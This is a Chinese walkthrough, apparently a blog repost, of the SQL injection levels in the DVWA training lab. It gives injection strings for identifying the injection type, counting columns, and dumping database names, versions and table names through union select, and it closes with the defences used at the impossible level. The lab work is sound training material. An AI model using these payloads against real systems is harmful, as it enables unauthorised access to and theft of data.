当前位置: 首页 > news >正文

dvwa7——SQL Injection

LOW:

f12打开hackbar

 一:判断注入类型

输入id=1'报错

闭合单引号 ,页面恢复正常

所以为单引号字符型

二:开始攻击

1.判断列数

?id=1' order by 2--+

到3的时候开始报错,所以一共两列 

2.爆回显位置

?id=-1' union select 2,3--+

 

3.爆数据库名和版本号

?id=-1' union select database(),version()--+

4.爆表名

?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

5.爆库名

 (1)guestbook

(2)users

 6.爆guestbook的数据:

MEDIUM:

发现界面变成了这样:

随便提交一个,submit的时候用bp抓包

抓到这些,我们发现这一关的提交形式从get变成了post,格式以红框内为准

继续打开hackbar,发现单引号双引号括号无论闭合不闭合都报错,所以我们判断为数字型

id=1 order by 3&Submit=Submit

到3的时候报错,所以一共两列 

剩下的表单爆数据不再过多赘述 

HIGH:

1' and 1=1#
1' and 1=2#

前者正常,后者无回显,所以是字符型注入

剩下回显和low一样 

IMPOSSIBLE:

优化部分:

checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');

1.checktoken() 

2.mysqli_real_escape_string()转义函数去除反斜杠

3.pdo预处理,参数化查询

4.limit 1限制返回结果

5.generateSessionToken()在文件末尾生成新token供下次使用

6.captcha验证(recaptcha_check_answer())(人机验证)

相关文章:

  • MyBatis 的动态 SQL
  • 【Java实用工具类】手撸SqlBuilder工具类,优雅拼接动态SQL,MyBatisPlus同款风格!
  • mybatis打印完整的SQL,p6spy
  • LeetCode 高频 SQL 50 题(基础版) 之 【高级查询和连接】· 下
  • SQL思路解析:窗口滑动的应用
  • 剑指offer15_数值的整数次方
  • JavaScript性能优化实战:从核心原理到工程实践的全流程解析
  • java反序列化:CC5利用链解析
  • 【Python进阶】装饰器
  • SpringBoot接入Kimi实践记录轻松上手
  • 九(5).引用和指针的区别
  • 基于大模型的短暂性脑缺血发作(TIA)全流程预测与诊疗辅助系统详细技术方案
  • UVa12298 Super Joker II
  • 手摸手还原vue3中reactive的get陷阱以及receiver的作用
  • 使用 C++/OpenCV 制作跳动的爱心动画
  • 实验设计与分析(第6版,Montgomery著,傅珏生译) 第10章拟合回归模型10.9节思考题10.1 R语言解题
  • OSCP备战-BSides-Vancouver-2018-Workshop靶机详细步骤
  • 软考 系统架构设计师系列知识点之杂项集萃(78)
  • 15个基于场景的 DevOps 面试问题及答案
  • Ansys Zemax | 手机镜头设计 - 第 4 部分:用 LS-DYNA 进行冲击性能分析
  • 如何申请网站备案/百度指数需求图谱
  • 孝感网站建设/网站建设 全网营销
  • 2003系统建网站/友情链接检查工具
  • 朔州做网站的公司/外包seo服务收费标准
  • 用小米路由器做网站/河南怎样做网站推广
  • 网站的push运营怎么做/百度公司招聘岗位